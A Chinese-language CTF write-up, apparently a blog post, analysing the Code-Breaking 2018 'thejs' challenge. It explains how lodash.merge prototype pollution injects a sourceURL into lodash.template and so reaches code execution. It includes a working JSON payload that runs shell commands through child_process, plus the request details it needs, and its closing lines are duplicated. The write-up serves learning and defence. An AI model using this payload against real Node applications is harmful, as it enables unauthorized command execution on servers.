Code-Breaking 2018 Thejs 分析

环境搭建

https://github.com/phith0n/code-breaking/tree/master/2018/thejs

部署Docker环境,直接运行报错,提示node版本太老,因此换成node:16-alpine

在这里插入图片描述

漏洞分析

代码分析

后端主要代码server.js:

使用了 express 框架搭建了一个 Web 应用,整合了会话管理、模板引擎、自定义表单处理和静态资源托管功能。下面逐步解释其作用和逻辑:


所用模块
const fs = require('fs')                  // 读写文件系统
const express = require('express')        // Web 框架
const bodyParser = require('body-parser') // 处理 POST 请求体
const lodash = require('lodash')          // 提供对象合并、模板处理等功能
const session = require('express-session')// session 中间件
const randomize = require('randomatic')   // 随机字符串生成(用于 session 密钥)

应用初始化
const app = express()

中间件设置
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())
  • 解析 application/x-www-form-urlencodedapplication/json 的请求体,供 req.body 使用。
app.use('/static', express.static('static'))
  • 映射静态资源目录 /static./static 文件夹。
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),  // 生成 16 位的随机密钥(包含字母和数字)
    resave: false,                // 若 session 没变不强制保存
    saveUninitialized: false     // 不保存未初始化的 session
}))
  • 配置 express-session,用于保存用户 session 数据。

自定义模板引擎
app.engine('ejs', function (filePath, options, callback) {
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)        // 使用 lodash 处理模板
        let rendered = compiled({ ...options })        // 渲染模板并传入变量
        return callback(null, rendered)
    })
})
  • 实现了基于 lodash.template 的简易版 EJS 模板引擎(EJS 文件其实是 lodash 语法)。
  • 这段代码实现了 res.render('xxx', options) 时如何处理 .ejs 文件。
app.set('views', './views')          // 视图文件夹路径
app.set('view engine', 'ejs')        // 使用自定义的 'ejs' 引擎

路由逻辑处理
app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
  • 无论 GET 还是 POST 请求,都会执行此函数。
  • 使用 req.session.data 保留用户提交的数据(语言和分类),如果没有就初始化为空数组。
if (req.method == 'POST') {
        data = lodash.merge(data, req.body)    // 合并 POST 数据
        req.session.data = data                // 更新 session
    }
  • 若是 POST 请求,将表单数据合并进 data 并保存进 session 中。
res.render('index', {
        language: data.language,
        category: data.category
    })
  • 渲染 views/index.ejs 模板,传入 languagecategory 数据。

启动服务器
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
  • 在本地 3000 端口启动应用。

总结功能

这个服务是一个支持多次提交的表单应用,表单数据会存储在 session 中,支持:

  • 会话级别数据保存
  • EJS 模板渲染
  • 静态资源加载(/static
  • 使用 lodash 自定义模板处理
  • 自动处理 JSON 和表单数据提交

原型链分析

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

merge就是复制赋值,存在原型链污染漏洞,但是污染的内容需要进一步分析

再看下lodash.template的代码: https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});
  • 如果options中存在sourceURL,则取'//# sourceURL=' + options.sourceURL + '\n'

这里简单看下//#的作用

虽然以 // 开头,但它是一个特殊的指令(pragma),用于为动态创建的代码(如 evalnew Function 或内联脚本)指定一个虚拟的源文件名,方便调试时显示正确的文件名(例如在 DevTools 中)

// 1. 动态创建一段代码字符串
const code = `
//# sourceURL=dynamic-demo.js
console.log('这段代码的“文件名”会变成 dynamic-demo.js');
debugger;          // 这里会断住,注意左侧 Sources 面板的文件名
`;

// 2. 用 eval 执行这段字符串
eval(code);

在这里插入图片描述

  • Function()是一个内置的构造函数,用来在运行时动态地生成一个新的函数对象。 函数体以字符串形式传入

简单来看就是这样:

const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 5

综上,得出结论,如果可以给options.sourceURL赋值,且值为执行命令的字符串代码,就可以实现RCE

漏洞测试

构建payload:

{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}

//内部代码
return e => {
    for (var a in {} ) {
        delete Object.prototype[a] //清楚所有继承属性
    }
    return global.process.mainModule.constructor._load('child_process').execSync('dir')
}
  • ES6 箭头函数语法,它的意思是:返回一个函数,这个函数接收参数 e,当然这个参数也可以是函数
return e => {
    // 函数体
}

//等同于

return function(e) {
    // 函数体
}
  • for (var a in {}) 遍历空对象的原型链上所有属性(即 Object.prototype 上的)

  • delete Object.prototype[a]:尝试删除所有原型属性(清除污染)

  • process 是全局对象,任何地方都能访问;

    mainModule 是入口模块(比如你运行的 app.js);

    mainModule.constructorModule 本体;

    Module._load() 是 Node 内部加载模块的真实方法;

    相当于手动实现了一次 require()

    • Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替

发包测试:

在这里插入图片描述

注意:Content-Type:/application/json,不然__proto__不会被识别为键值而是字符串

  • Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替

发包测试:

[外链图片转存中…(img-jyovN2bj-1752943778646)]

注意:Content-Type:/application/json,不然__proto__不会被识别为键值而是字符串

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值